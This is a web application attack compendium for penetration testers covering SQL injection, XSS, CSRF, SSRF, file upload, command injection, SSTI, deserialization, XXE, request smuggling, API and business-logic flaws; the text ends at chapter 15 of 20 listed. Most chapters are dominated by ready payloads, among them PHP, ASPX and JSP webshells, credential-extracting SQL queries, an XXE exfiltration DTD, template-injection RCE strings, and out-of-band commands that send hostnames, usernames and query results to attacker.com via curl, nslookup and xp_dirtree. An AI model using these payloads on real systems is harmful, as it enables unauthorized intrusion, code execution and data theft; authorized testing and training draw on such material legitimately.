Web Application Attack Compendium

From Injection to Deserialization & Modern API Exploitation

Expert-Level Reference for Penetration Testers & Red Teamers

J Laratro — d0sf3t | Aradex.io

Scope	All major web attack classes: injection, authentication bypass, session attacks, SSRF, deserialization, file uploads, API abuse, client-side attacks, business logic, and modern framework-specific vulnerabilities
Audience	OSCP/OSWE-level practitioners and beyond — assumes HTTP/HTML fundamentals and basic scripting
Approach	Each attack: conceptual theory (why it works), technical execution (how), payloads, bypass techniques, OPSEC, and detection/mitigation

Table of Contents

Chapter 1 — Reconnaissance & Information Gathering
Chapter 2 — SQL Injection (SQLi)
Chapter 3 — Cross-Site Scripting (XSS)
Chapter 4 — Cross-Site Request Forgery (CSRF)
Chapter 5 — Server-Side Request Forgery (SSRF)
Chapter 6 — Authentication & Session Attacks
Chapter 7 — Authorization & Access Control Flaws (IDOR, Privilege Escalation)
Chapter 8 — File Upload & Path Traversal Attacks
Chapter 9 — Command Injection & SSTI
Chapter 10 — Insecure Deserialization
Chapter 11 — XML External Entity (XXE) Injection
Chapter 12 — HTTP Request Smuggling & Desync Attacks
Chapter 13 — WebSocket & GraphQL Attacks
Chapter 14 — API Security (REST, GraphQL, gRPC)
Chapter 15 — Business Logic Vulnerabilities
Chapter 16 — Client-Side Attacks (DOM, Prototype Pollution, Clickjacking)
Chapter 17 — Modern Framework Exploits (JWT, OAuth, SAML)
Chapter 18 — Web Cache Poisoning & Host Header Attacks
Chapter 19 — Race Conditions & TOCTOU in Web Apps
Chapter 20 — Tool Reference Matrix

Chapter 1: Reconnaissance & Information Gathering

Thorough reconnaissance determines the attack surface before a single payload is sent. Web recon splits into passive (no direct interaction with the target) and active (direct probing). The goal is to enumerate every endpoint, parameter, technology, and integration point.

1.1 Passive Reconnaissance

• **DNS enumeration** — Subdomain discovery via certificate transparency logs (crt.sh), DNS brute-force (subfinder, amass, assetfinder), zone transfers (dig axfr), reverse DNS sweeps.

• **OSINT sources** — Wayback Machine (waybackurls), Google dorks (site:, inurl:, filetype:, intitle:), Shodan/Censys for exposed services, GitHub/GitLab for leaked credentials and API keys.

• **Technology fingerprinting** — Wappalyzer, BuiltWith, HTTP headers (Server, X-Powered-By, X-AspNet-Version), response patterns, error pages.

• **JavaScript analysis** — Extract endpoints from JS files (LinkFinder, JSFinder, getJS). JS files frequently contain API endpoints, internal hostnames, hardcoded secrets, and debug routes.

1.2 Active Reconnaissance

Content Discovery

```
# Directory/file brute-force
feroxbuster -u https://target.com -w
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,asp,aspx,jsp

# Recursive with extensions
gobuster dir -u https://target.com -w wordlist.txt -x php,bak,old,txt,conf -r -t 50

# ffuf for fuzzing
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302,403 -fc 404
```

Parameter Discovery

```
# Arjun - parameter brute-force
arjun -u https://target.com/api/search -m GET POST

# ParamSpider - crawl for parameters
paramspider -d target.com
```

Virtual Host Enumeration

```
# ffuf vhost fuzzing
ffuf -u https://target.com -H 'Host: FUZZ.target.com' -w subdomains.txt -mc 200 -fs 0

# gobuster vhost
gobuster vhost -u https://target.com -w subdomains.txt --append-domain
```

Operator Tip: Always check for common backup/config files: .git/, .env, .DS_Store, web.config, wp-config.php.bak, .htaccess, robots.txt, sitemap.xml, crossdomain.xml, clientaccesspolicy.xml, and /server-status or /server-info on Apache.

1.3 403 Bypass Techniques

When access controls return 403 Forbidden, multiple bypass techniques exist depending on how the restriction is implemented.

- **Path normalization** — /admin → /Admin, /ADMIN, /admin/, /admin/., /./admin, //admin, /admin..;/
- **URL encoding** — /%61dmin, /ad%6din, double encoding: /%2561dmin
- **HTTP method change** — GET → POST, PUT, PATCH, HEAD, OPTIONS, TRACE
- **Header injection** — X-Forwarded-For: 127.0.0.1, X-Original-URL: /admin, X-Rewrite-URL: /admin, X-Custom-IP-Authorization: 127.0.0.1
- **Protocol version** — Downgrade from HTTP/1.1 to HTTP/1.0 or upgrade to HTTP/2
- **Path traversal in URL** — /accessible/../admin, /accessible/..;/admin (Tomcat/Java path normalization)
- **Wildcard abuse** — /admin%20, /admin%09, /admin.json, /admin.html, /admin?anything

Operator Tip: Tool: 403bypasser, 4-ZERO-3, or custom Burp Intruder with bypass payloads. Combine techniques: X-Forwarded-For: 127.0.0.1 + /admin..;/ + POST method.

Chapter 2: SQL Injection (SQLi)

2.1 Theory

SQL Injection occurs when user-controlled input is concatenated into SQL queries without proper parameterization. The attacker breaks out of the intended data context and injects SQL syntax that the database engine executes. It remains one of the most critical web vulnerabilities because it provides direct database access — reading, modifying, or deleting data, and in many cases achieving remote code execution on the database server.

2.2 Detection & Identification

Inject syntax-breaking characters and observe behavior: single quotes ('), double quotes ("), backticks (`), comments (-- , #, /**/), boolean logic (OR 1=1, AND 1=2), and time delays (SLEEP, WAITFOR DELAY, pg_sleep). Compare responses for true vs. false conditions.

```
# Classic detection payloads
' OR '1'='1
' OR '1'='2
' AND 1=1-- -
' AND 1=2-- -
'; WAITFOR DELAY '0:0:5'-- -
' AND (SELECT SLEEP(5))-- -
```

2.3 Union-Based SQLi

When application reflects query results, UNION SELECT appends attacker-controlled rows to the result set. Requires matching the number and data types of columns in the original query.

```
# Determine column count
' ORDER BY 1-- - (increment until error)
' UNION SELECT NULL,NULL,NULL-- - (add NULLs until match)

# Extract data (MySQL example, 3 columns)
' UNION SELECT username,password,NULL FROM users-- -

# Version / DB fingerprinting
' UNION SELECT @@version,NULL,NULL-- - # MySQL/MSSQL
' UNION SELECT version(),NULL,NULL-- - # PostgreSQL
' UNION SELECT sqlite_version(),NULL,NULL-- - # SQLite
```

2.4 Error-Based SQLi

Forces the database to return data within error messages. Useful when the application displays detailed errors but doesn't reflect query results directly.

```
# MySQL extractvalue / updatexml
' AND extractvalue(1, concat(0x7e, (SELECT @@version)))-- -
' AND updatexml(1, concat(0x7e, (SELECT user())), 1)-- -

# MSSQL convert error
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))-- -
```

```
# PostgreSQL cast error
' AND 1=CAST((SELECT version()) AS int)-- -
```

2.5 Blind SQLi (Boolean & Time-Based)

When neither results nor errors are reflected, extract data one bit/character at a time by observing boolean differences in response content or time delays.

```
# Boolean-based (observe content difference)
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -

# Time-based (observe response delay)
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(3), 0)-- -

# MSSQL time-based
'; IF (SUBSTRING((SELECT TOP 1 password FROM users),1,1)='a') WAITFOR DELAY '0:0:3'-- -

# PostgreSQL time-based
' AND CASE WHEN (SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a') THEN pg_sleep(3) ELSE
pg_sleep(0) END-- -
```

2.6 Out-of-Band (OOB) SQLi

Exfiltrate data via DNS or HTTP requests initiated by the database server. Works when the application gives no visible feedback.

```
# MySQL (requires FILE privilege + DNS resolution)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))-- -

# MSSQL (xp_dirtree for DNS exfil)
'; EXEC master..xp_dirtree '\\attacker.com\a'-- -

# PostgreSQL (COPY TO or dblink)
'; COPY (SELECT version()) TO PROGRAM 'curl http://attacker.com/'-- -
```

2.7 SQLi to RCE

Database	Technique	Requirements
MySQL	INTO OUTFILE webshell, UDF (User Defined Function)	FILE privilege, writable web directory or plugin dir
MSSQL	xp_cmdshell, CLR assemblies, OLE Automation	sysadmin role (xp_cmdshell), db_owner for CLR
PostgreSQL	COPY TO PROGRAM, large objects + lo_export	Superuser or pg_execute_server_program role
SQLite	ATTACH DATABASE webshell write	Write access to web-accessible directory
Oracle	DBMS_SCHEDULER, Java stored procedures	DBA role or CREATE PROCEDURE privilege

2.8 WAF Bypass Techniques

- **Case alternation** — SeLeCt, uNiOn. Most WAFs handle this but combined with encoding it works.
- **Comment injection** — UN/**/ION SE/**/LECT, /*!50000UNION*/ (MySQL version comments).
- **Encoding** — URL encoding (%27 for '), double encoding (%2527), Unicode (\u0027), hex (0x27).
- **Whitespace alternatives** — Tabs (%09), newlines (%0a), comments (/**/), parentheses.
- **Alternative syntax** — UNION ALL SELECT, using functions: CHAR(), CHR(), CONCAT().
- **HTTP parameter pollution** — Duplicate parameters: ?id=1&id=UNION+SELECT... (backend concatenates).
- **Chunked transfer** — Split payload across HTTP chunks to evade pattern matching.

Operator Tip: sqlmap handles most automated exploitation. Use --tamper scripts for WAF bypass (space2comment, between, randomcase, charencode). For manual testing, always identify the DBMS first — syntax differs significantly.

2.9 NoSQL Injection

NoSQL databases (MongoDB, CouchDB, Redis) are vulnerable to injection via operator abuse rather than SQL syntax. MongoDB's query language uses JSON operators that can be injected when user input is embedded into queries without sanitization.

```
# MongoDB authentication bypass
POST /login
{"username":{"$ne":""},"password":{"$ne":""}}

# Extract data via $regex
{"username":"admin","password":{"$regex":"^a.*"}}

# Operator injection via query parameters
GET /search?username[$ne]=&password[$ne]=

# $where injection (JS execution in MongoDB <4.4)
{"$where":"this.username=='admin' && this.password.match(/^a/)"}
```

Operator Tip: Tools: nosqli, NoSQLMap. MongoDB $where operator allows JavaScript execution (disabled by default in MongoDB 4.4+). Always test both JSON body and query parameter injection vectors.

Chapter 3: Cross-Site Scripting (XSS)

3.1 Theory

XSS occurs when an application includes untrusted data in its output without proper encoding or sanitization, allowing attacker-controlled JavaScript to execute in a victim’s browser within the application’s origin. This grants access to cookies, session tokens, DOM manipulation, keylogging, and actions on behalf of the authenticated user.

3.2 XSS Types

Type	Storage	Trigger	Impact Scope
Reflected	None (in URL/request)	Victim clicks crafted link	Single user per click
Stored	Server-side (DB, file)	Any user views the page	All users who view content
DOM-based	None (client-side only)	Client JS processes attacker input	Single user, harder to detect server-side

3.3 Context-Aware Payloads

The injection context determines the payload. Breaking out of the current context is always the first step.

HTML Context

```
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<body onload=alert(1)>
```

Attribute Context

```
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='
" onmouseover=alert(1) x="
"><img src=x onerror=alert(1)>
```

JavaScript Context

```
';alert(1);//
\";alert(1);//
<script>alert(1)</script>
${alert(1)} // Template literals
```

URL/href Context

```
javascript:alert(1)
data:text/html,<script>alert(1)</script>
```

3.4 Filter Bypass Techniques

• **Case variation** — <ScRiPt>, <IMG SRC=x OnErRoR=alert(1)>

• **Tag alternatives** — <svg>, <math>, <details>, <marquee>, <video>, <audio>, <object>

• **Event handler alternatives** — onerror, onload, onfocus, onmouseover, ontoggle, onanimationstart

• **Encoding** — HTML entities (&#x61;lert), Unicode escapes (\u0061lert), URL encoding, double encoding

• **Null bytes** — <scr%00ipt> (works in some older parsers)

• **DOM clobbering** — Overwrite DOM properties by creating elements with matching id/name attributes

• **Mutation XSS (mXSS)** — Exploit browser HTML parser differences. Payloads that are safe in one parser context become executable after DOM mutation.

3.5 XSS Impact & Exploitation

• **Session hijacking** — document.cookie exfiltration (if HttpOnly not set), or use fetch() to make authenticated requests

• **Keylogging** — Capture form inputs via addEventListener('keypress',...)

• **Phishing** — Inject fake login forms or redirect to attacker-controlled pages

• **Worm propagation** — Stored XSS that replicates itself (Samy worm pattern)

• **Cryptocurrency mining** — Inject mining scripts into pages viewed by many users

• **Admin account takeover** — Use XSS to create new admin, change passwords, or exfiltrate CSRF tokens

Detection: CSP (Content Security Policy) headers, WAF signature matching on <script> tags and event handlers, and input/output encoding audits. XSS is primarily prevented by context-aware output encoding, not input filtering.

Chapter 4: Cross-Site Request Forgery (CSRF)

4.1 Theory

CSRF forces an authenticated user’s browser to send a forged request to a vulnerable application. The browser automatically includes cookies (including session cookies) with same-site requests. If the application relies solely on cookies for authentication (no CSRF token, no re-authentication for sensitive actions), any state-changing request can be forged from an attacker’s site.

4.2 Exploitation

```
<!-- Auto-submitting form (POST) -->
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

<!-- GET-based CSRF via image tag -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
```

4.3 CSRF Token Bypass Techniques

• **Token not validated** — Application accepts requests without the token entirely. Remove the parameter.

• **Token not tied to session** — Use any valid token from your own session. Tokens are interchangeable between users.

• **Token in cookie (double-submit)** — If app sets token via cookie and compares to body parameter, inject a cookie via subdomain XSS or CRLF injection.

• **Method override** — Change POST to GET. Some frameworks only validate CSRF on POST.

• **Content-type manipulation** — Change from application/json to application/x-www-form-urlencoded. Some token checks are content-type dependent.

• **SameSite cookie bypass** — SameSite=Lax allows GET requests from cross-origin navigations. Convert action to GET.

• **Referer/Origin header removal** — <meta name='referrer' content='no-referrer'> strips Referer. Some apps only check if present.

Chapter 5: Server-Side Request Forgery (SSRF)

5.1 Theory

SSRF occurs when an application fetches a URL supplied by the user without adequate validation. The attacker controls the destination, causing the server to make requests to internal services, cloud metadata endpoints, or arbitrary external hosts. The server acts as a proxy, bypassing network segmentation and firewalls.

5.2 Common Targets

Target	URL	Impact
AWS Metadata (IMDSv1)	http://169.254.169.254/latest/meta-data/iam/security-credentials/	Temporary AWS credentials (access key + secret + token)
AWS Metadata (IMDSv2)	PUT http://169.254.169.254/latest/api/token (header: X-aws-ec2-metadata-token-ttl-seconds)	Requires PUT to get token, then GET with token header. Blocked by simple GET-only SSRF but exploitable if you control HTTP method and headers.
GCP Metadata	http://metadata.google.internal/computeMetadata/v1/ (+ header)	Service account tokens, project metadata
Azure Metadata	http://169.254.169.254/metadata/instance?api-version=2021-02-01 (+ header)	Managed identity tokens
Internal services	http://localhost:port, http://internal-host:port	Access admin panels, databases, message queues
File system	file:///etc/passwd	Local file read (if file:// protocol allowed)

5.3 SSRF Bypass Techniques

• **IP representation** — Decimal (2130706433 = 127.0.0.1), octal (0177.0.0.1), hex (0x7f000001), IPv6 (::1, ::ffff:127.0.0.1)

• **DNS rebinding** — Domain resolves to allowed IP initially, then rebinds to internal IP after validation. Tools: rbndr.us, singularity

• **URL parser confusion** — http://attacker.com@internal-host, http://internal-host#@allowed.com, http://allowed.com%23@internal-host

• **Redirect chains** — Host an open redirect on an allowed domain. SSRF fetches allowed domain, follows redirect to internal target.

• **Protocol smuggling** — gopher://, dict://, ftp:// to interact with non-HTTP services (Redis, SMTP, Memcached)

• **DNS alias** — Register a domain pointing to 127.0.0.1 (e.g., localtest.me, nip.io: 127.0.0.1.nip.io)

5.4 SSRF to RCE Chains

• **SSRF → Redis → RCE** — Use gopher:// to send Redis SLAVEOF or MODULE LOAD commands, or write a webshell via CONFIG SET.

• **SSRF → Cloud metadata → Lateral movement** — Steal cloud credentials, pivot to other cloud resources.

- **SSRF** → **Internal admin panel** — Access unauthenticated internal services that trust requests from localhost.
- **SSRF** → **Kubernetes** — Access kubelet API (10250), kube-apiserver, or pod metadata for container escape.

OPSEC Warning: Blind SSRF (no response body) is common. Use collaborator/Burp Collaborator/interactsh to confirm. Time-based detection works if the target response time varies by destination.

Chapter 6: Authentication & Session Attacks

6.1 Credential Attacks

• **Password spraying** — Try common passwords across many accounts to avoid lockout. Respect lockout thresholds.

• **Credential stuffing** — Use leaked credential databases. Users reuse passwords across services.

• **Brute-force** — Targeted brute-force against accounts without lockout. Monitor for rate limiting and CAPTCHA.

• **Default credentials** — Always check admin:admin, admin:password, test:test, and platform-specific defaults.

• **Username enumeration** — Differences in response content, timing, or status code between valid and invalid usernames.

6.2 Session Management Attacks

• **Session fixation** — Attacker sets victim's session ID before authentication. If app doesn't regenerate session on login, attacker shares the session.

• **Session hijacking** — Steal session token via XSS, MITM, or network sniffing. Use if HttpOnly/Secure flags are missing.

• **Session prediction** — Weak session token generation (sequential, timestamp-based) allows token guessing.

• **Session puzzling** — Variable overloading: a session variable set in one context is used for authorization in another.

6.3 Password Reset Flaws

• **Predictable tokens** — Reset tokens based on timestamp, user ID, or weak random. Brute-force or predict.

• **Host header injection** — Modify Host header to inject attacker domain in reset link. Victim clicks link, token goes to attacker.

• **No token expiration** — Reset tokens valid indefinitely. Harvest old tokens.

• **Token leakage** — Token in Referer header when reset page loads external resources.

• **Account takeover via email change** — Change email first (if no re-auth required), then reset password.

6.4 Multi-Factor Authentication Bypass

• **Response manipulation** — Change MFA verification response from false to true (if client-side enforcement).

• **Brute-force OTP** — 4-6 digit codes (10^4 - 10^6 combinations) if no rate limiting.

• **Token reuse** — Same OTP accepted multiple times or across sessions.

• **Fallback bypass** — Switch to backup codes, security questions, or SMS when TOTP is enforced.

• **Session fixation after MFA** — If session token doesn't change after MFA step.

Chapter 7: Authorization & Access Control Flaws

7.1 IDOR (Insecure Direct Object Reference)

IDOR occurs when the application exposes internal object references (IDs, filenames, database keys) in URLs or parameters and fails to verify that the authenticated user has authorization to access the referenced object. Changing an ID from /api/users/1001 to /api/users/1002 accesses another user's data.

IDOR Hunting

- Test every parameter that references an object: user IDs, order IDs, file names, UUIDs, timestamps.
- Try sequential values, UUIDs of other test accounts, negative numbers, zero, very large numbers.
- Test across HTTP methods: GET, PUT, PATCH, DELETE on the same resource.
- Check API responses for additional data leakage even when the UI doesn't display it.
- Encoded/hashed IDs: try Base64 decode, hex decode, or observe patterns across known IDs.

Operator Tip: Create two accounts. Use Account A's session to access Account B's resources. Autorize (Burp extension) automates this comparison.

7.2 Privilege Escalation

Horizontal

Access resources of other users at the same privilege level. Same as IDOR — user A accessing user B's data.

Vertical

Escalate from a lower privilege level to a higher one: regular user → admin. Check: admin endpoint access with regular session, role parameter manipulation (role=admin in registration/profile), forced browsing to /admin paths, API endpoints that lack authorization checks.

```
# Parameter-based escalation
POST /api/user/update
{"username":"attacker", "role":"admin"}

# Forced browsing
GET /admin/dashboard (with regular user session)
GET /api/admin/users (API version of admin panel)
```

Chapter 8: File Upload & Path Traversal Attacks

8.1 File Upload Attacks

Unrestricted file upload allows an attacker to upload executable content (webshells, malware) to the server. Even with restrictions, bypass techniques are numerous.

Bypass Techniques

Validation	Bypass
Content-Type check	Change MIME type in request: image/jpeg for a .php file
Extension blacklist	Alternative extensions: .phtml, .php5, .pHP, .shtml, .asp;.jpg, .aspx%00.jpg
Extension whitelist	Double extension: shell.php.jpg, null byte: shell.php%00.jpg (legacy)
Magic bytes check	Prepend valid image header (GIF89a, PNG header) before PHP code
Image reprocessing	Polyglot files: valid image AND valid PHP. Embed payload in EXIF/IDAT chunks
Filename sanitization	Path traversal in filename: ../../../var/www/html/shell.php
File size limit	Minimal webshell: <?=`$_GET[0]`?> (17 bytes)

```
# Minimal PHP webshell variants
<?php system($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<?php echo shell_exec($_REQUEST['c']); ?>

# ASPX webshell
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["c"]); %>

# JSP webshell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
```

8.2 Path Traversal (Directory Traversal / LFI)

Path traversal allows reading (or sometimes writing) arbitrary files on the server by manipulating file path parameters.

```
# Basic traversal
GET /download?file=../../../etc/passwd
GET /download?file=....//....//....//etc/passwd (doubled for filter bypass)
GET /download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd (URL encoded)

# Windows targets
GET /download?file=..\..\..\windows\system32\config\SAM
GET /download?file=..\..\..\windows\win.ini

# Null byte (older PHP/Java)
GET /download?file=../../../etc/passwd%00.jpg
```

8.3 LFI to RCE

• **Log poisoning** — Inject PHP code into access.log via User-Agent, then include the log file.

• **/proc/self/environ** — Environment variables may contain injectable User-Agent.

• **PHP wrappers** — php://filter/convert.base64-encode/resource=config.php to read source. php://input with POST body for code execution.

• **Session files** — Inject code into PHP session (e.g., username field), then include /tmp/sess_<id>.

• **Zip/phar wrappers** — Upload a zip containing PHP, include via zip://upload.zip#shell.php or phar://.

• **PHP filter chains** — Chain multiple PHP filter conversions to generate arbitrary PHP code from nothing. Tool: php_filter_chain_generator.

Chapter 9: Command Injection & SSTI

9.1 OS Command Injection

Occurs when user input is passed to system commands without sanitization. The attacker injects shell metacharacters to execute arbitrary commands.

```
# Injection operators
; id # Command separator (Unix)
| id # Pipe output
|| id # Execute if previous fails
&& id # Execute if previous succeeds
$(id) # Command substitution
`id` # Backtick substitution
%0a id # Newline separator

# Blind detection (time-based)
; sleep 5
| ping -c 5 127.0.0.1

# Blind OOB exfiltration
; curl http://attacker.com/$(whoami)
; nslookup $(cat /etc/hostname).attacker.com
```

Filter Bypass

- **Space bypass** — ${IFS}, {cat,/etc/passwd}, <, $IFS$9, %09 (tab)
- **Keyword bypass** — c'a't /etc/passwd, c"a"t /etc/passwd, c\at /etc/passwd, /bin/c?t /etc/passwd
- **Wildcard bypass** — /???/??t /???/??????, cat$u /etc$u/passwd$u
- **Encoding** — Base64: echo$(IFS)d2hvYW1p|base64$(IFS)-d|sh, hex: \x63\x61\x74

9.2 Server-Side Template Injection (SSTI)

SSTI occurs when user input is embedded into a template engine's template string rather than passed as data. Template engines like Jinja2, Twig, Freemarker, Velocity, and Pebble allow expressions that can be escalated to RCE.

Detection

```
# Polyglot detection string
${{<%[%'"}}%\

# Math-based detection
{{7*7}} → 49 (Jinja2, Twig)
${7*7} → 49 (Freemarker, Velocity, Mako)
#{7*7} → 49 (Thymeleaf, EL)
<%= 7*7 %> → 49 (ERB/Ruby)
```

Exploitation by Engine

Engine	Language	RCE Payload
Jinja2	Python	{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Engine	Language	RCE Payload
Twig	PHP	{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker	Java	<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Velocity	Java	#set($x='')#set($e=$x.class.forName('java.lang.Runtime').getRuntime().exec('id'))
Pebble	Java	{% set cmd = "id" %}{% set runtime = beans.get("").getClass().forName("java.lang.Runtime") %}...
ERB	Ruby	<%= system('id') %> or <%= \`id\` %>

Operator Tip: Use tplmap for automated SSTI detection and exploitation across multiple template engines. For manual testing, always start with the polyglot detection string and narrow down the engine from the response.

Chapter 10: Insecure Deserialization

10.1 Theory

Deserialization vulnerabilities occur when an application deserializes (reconstructs objects from) untrusted data. Serialized objects contain both data and type information. If the attacker controls the serialized input, they can manipulate object types and data to achieve: remote code execution via gadget chains, authentication bypass, privilege escalation, or denial of service.

10.2 Java Deserialization

Java serialized objects start with **AC ED 00 05** (hex) or **rO0AB** (base64). Present in: cookies, ViewState, RMI, JMX, custom protocols, and message queues. The attacker crafts a serialized object using known gadget chains from libraries present on the classpath (Commons Collections, Spring, Hibernate, etc.).

```
# ysoserial - gadget chain payload generation
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/$(whoami)' | base64

# Common gadget libraries
CommonsCollections1-7, CommonsBeansUtils, Spring, Hibernate, Groovy, JBoss, Vaadin
```

10.3 PHP Deserialization

PHP serialized data starts with type indicators (O:, a:, s:, i:). The __wakeup(), __destruct(), __toString(), and __call() magic methods are triggered during deserialization, making them the entry points for gadget chains.

```
# PHP serialized object
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}

# Tool: PHPGGC (PHP Generic Gadget Chains)
phpggc Laravel/RCE1 system 'id' -b # Base64 output
```

10.4 .NET Deserialization

Common in ViewState (ASP.NET), cookies, and API parameters. BinaryFormatter, SoapFormatter, ObjectStateFormatter, and JSON.NET (with TypeNameHandling) are vulnerable deserializers.

```
# ysoserial.net
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c 'cmd /c whoami'
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c 'calc.exe'
```

10.5 Python Deserialization

Python’s pickle module is inherently unsafe — it can execute arbitrary code during deserialization via the __reduce__ method. Never deserialize untrusted pickle data.

```
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
pickle.dumps(RCE()) # Serialized payload
```

Chapter 11: XML External Entity (XXE) Injection

11.1 Theory

XXE exploits XML parsers that process external entity definitions. An XML document can define entities that reference external resources (files, URLs). If the parser resolves these, the attacker can read local files, perform SSRF, or achieve RCE (in rare cases via expect:// or PHP wrappers).

11.2 Classic XXE (File Read)

```
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
```

11.3 Blind XXE (OOB Data Exfiltration)

When the parsed XML data is not reflected in the response, use out-of-band exfiltration via HTTP or DNS.

```
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>

# evil.dtd hosted on attacker server:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
```

11.4 XXE Attack Surface

• **SOAP APIs** — XML-based by design. Common XXE target.

• **File uploads** — SVG, DOCX, XLSX, PDF (XML-based formats). Upload SVG with XXE entity.

• **RSS/Atom feeds** — XML-parsed feed URLs.

• **SAML** — SAML assertions are XML. XXE in SAML processing = authentication bypass + data theft.

• **Content-Type manipulation** — Change Content-Type to application/xml and send XML body even if API expects JSON.

Chapter 12: HTTP Request Smuggling & Desync Attacks

12.1 Theory

Request smuggling exploits disagreements between front-end (reverse proxy/CDN/load balancer) and back-end servers on where one HTTP request ends and the next begins. The disagreement arises from ambiguous Content-Length and Transfer-Encoding headers. The attacker crafts a request that the front-end interprets as one request but the back-end interprets as two, allowing the attacker to “smuggle” a second request.

12.2 Smuggling Variants

Variant	Front-End Uses	Back-End Uses	Payload Location
CL.TE	Content-Length	Transfer-Encoding	After CL-defined body, in TE chunk
TE.CL	Transfer-Encoding	Content-Length	After TE terminator, in CL-defined body
TE.TE	Transfer-Encoding	Transfer-Encoding	Obfuscated TE header one side ignores

```
# CL.TE smuggling
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0\r\n
\r\n
GPOST / HTTP (smuggled prefix)
```

12.3 Impact

- **Bypass access controls** — Smuggle requests to restricted endpoints that the front-end blocks.
- **Cache poisoning** — Smuggled response poisons CDN cache for other users.
- **Session hijacking** — Prepend a partial request that captures another user’s request (including cookies).
- **Reflected XSS amplification** — Convert reflected XSS to stored-like impact via cache poisoning.
- **Request routing manipulation** — Route smuggled requests to different back-end hosts.

Operator Tip: Use Burp Suite’s HTTP Request Smuggler extension or smuggler.py for detection. HTTP/2 downgrade smuggling (H2.CL, H2.TE) is a newer variant affecting HTTP/2-to-HTTP/1.1 translation layers.

Chapter 13: WebSocket & GraphQL Attacks

13.1 WebSocket Attacks

• **Cross-Site WebSocket Hijacking (CSWSH)** — If WebSocket handshake relies solely on cookies (no CSRF token, no Origin check), an attacker's page can open a WebSocket to the target and read messages from the authenticated session.

• **Injection attacks** — SQLi, XSS, command injection via WebSocket messages. Same payloads, different transport.

• **Missing authentication** — WebSocket endpoints that don't require authentication or re-validate sessions.

• **Information disclosure** — WebSocket messages may contain sensitive data not shown in the UI.

13.2 GraphQL Attacks

• **Introspection** — __schema query reveals the entire API schema: types, fields, queries, mutations. Often enabled in production.

• **Batching attacks** — Send multiple queries/mutations in one request to bypass rate limiting (e.g., brute-force OTP via batched mutations).

• **Authorization flaws** — Query fields or nested objects that the user shouldn't access. GraphQL's flexible queries expose data that REST APIs would hide.

• **Injection** — SQLi and NoSQLi via GraphQL arguments. Same injection logic, different entry point.

• **Denial of service** — Deeply nested queries or circular references that consume excessive server resources.

```
# GraphQL introspection
{__schema{types{name,fields{name,type{name}}}}}

# Batched brute-force
[{"query":"mutation{login(user:\"admin\",pass:\"pass1\"){token}}"},
{"query":"mutation{login(user:\"admin\",pass:\"pass2\"){token}}"},...]
```

Chapter 14: API Security (REST, GraphQL, gRPC)

14.1 API-Specific Vulnerabilities

Vulnerability	Description	Example
BOLA (Broken Object-Level Auth)	IDOR in API context. Change object ID in API call.	GET /api/v1/users/1002 with user 1001's token
BFLA (Broken Function-Level Auth)	Access admin API functions with regular user.	POST /api/v1/admin/delete-user with regular token
Mass Assignment	Set internal properties not intended for user input.	POST /api/users {"name":"attacker","role":"admin"}
Excessive Data Exposure	API returns more data than the UI displays.	GET /api/users returns password hashes, internal IDs
Rate Limiting Absence	No throttling on sensitive operations.	Brute-force login, OTP, or coupon codes
Improper Asset Management	Old/deprecated API versions still accessible.	/api/v1/ (deprecated, no auth) vs /api/v2/ (current)

14.2 API Enumeration

```
# Discover API endpoints
# Check: /api, /api/v1, /api/v2, /graphql, /swagger, /swagger.json,
# /openapi.json, /api-docs, /_api, /rest, /v1, /v2

# Swagger/OpenAPI specification files
GET /swagger.json
GET /openapi.json
GET /api-docs

# Kiterunner - API-aware brute-force
kr scan https://target.com -w routes-large.kite
```

14.3 JWT Attacks

JWTs are covered in depth in Chapter 17. Key API-specific JWT issues: tokens in URL parameters (logged in server logs/browser history), tokens that never expire, tokens without audience/issuer validation, and tokens stored in localStorage (XSS-accessible).

Chapter 15: Business Logic Vulnerabilities

Business logic flaws are unique to each application. They exploit legitimate functionality in unintended ways. Scanners can’t find them — they require understanding the application’s intended workflow.

15.1 Common Patterns

• **Price manipulation** — Negative quantities, zero-price items, modifying price in client-side request, applying coupons multiple times, coupon stacking, currency conversion rounding.

• **Workflow bypass** — Skip mandatory steps (payment, verification, terms acceptance) by directly requesting later-stage endpoints.

• **Race conditions in purchases** — Send multiple simultaneous purchase requests with the same balance/coupon. Only one deduction occurs but multiple items are delivered.

• **Account takeover via business flow** — Register with victim’s email + your phone, verify via phone, gain access to victim’s account.

• **Referral/bonus abuse** — Self-referral via multiple accounts, manipulate referral tracking parameters.

• **Feature abuse** — Use export/report generation for SSRF, file read, or DoS. Use import functionality for XXE or injection.

